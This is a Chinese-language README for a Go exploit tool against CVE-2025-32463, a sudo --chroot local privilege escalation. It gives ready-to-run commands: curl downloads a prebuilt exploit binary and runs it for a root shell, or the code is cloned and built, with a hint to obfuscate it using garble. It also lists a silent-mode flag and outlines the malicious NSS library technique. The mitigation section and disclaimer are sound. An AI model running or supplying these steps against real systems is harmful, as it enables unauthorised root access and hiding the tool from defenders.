CVE-2025-32463 漏洞利用工具

概述

本仓库提供了一个基于 Go 的漏洞利用工具，针对 CVE-2025-32463，这是 sudo 1.9.14 至 1.9.17 版本中的一个严重本地权限提升漏洞（CVSS 9.3）。该漏洞允许未经授权的本地用户通过利用 --chroot (-R) 选项中的缺陷获取 root 权限。

⚠️ 警告：仅供教育和测试目的使用。请在隔离环境（如虚拟机）中使用。严禁用于恶意用途。

漏洞详情

• CVE ID：CVE-2025-32463
• 受影响版本：sudo 1.9.14–1.9.17
• 影响：本地权限提升至 root
• 描述：该漏洞利用程序操纵 chroot 环境以加载恶意共享库，将 UID/GID 设置为 0 并生成 root shell。

前置条件

• Go 1.2+
• gcc
• libc-dev
• 存在漏洞的 sudo 版本
• 具有 sudo 访问权限和 --chroot 权限的非特权用户

快速开始

下载预编译二进制文件

curl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution  # Launches root shell

从源码构建

git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit  # Or use garble for obfuscation
./exploit --execution

使用方法

命令	描述
./exploit --help	显示使用帮助
./exploit --about	显示 CVE 详情
./exploit --execution	运行漏洞利用（打开 root shell）
./exploit --execution --silent	静默模式执行

验证：在 root shell 中，运行 id（应显示 uid=0(root)）或 whoami（应显示 root）。

工作原理（概要）

1. 创建临时目录 /tmp/sudowoot.stage.*
2. 生成用于获取 root shell 的恶意 C 代码（woot1337.c）
3. 使用 NSS 配置搭建伪造的 chroot 环境
4. 编译为共享库（libnss_/woot1337.so.2）
5. 运行 sudo -R woot woot 以加载该库并提升权限
6. 自动清理临时文件

缓解措施

• 将 sudo 更新至最新版本
• 禁用 chroot：在 /etc/sudoers 中添加 Defaults !use_chroot

参考资料

• NVD 条目

免责声明

本工具用于安全研究。作者不对任何滥用行为负责。请始终以负责任的方式进行测试。

---

由 MNM 构建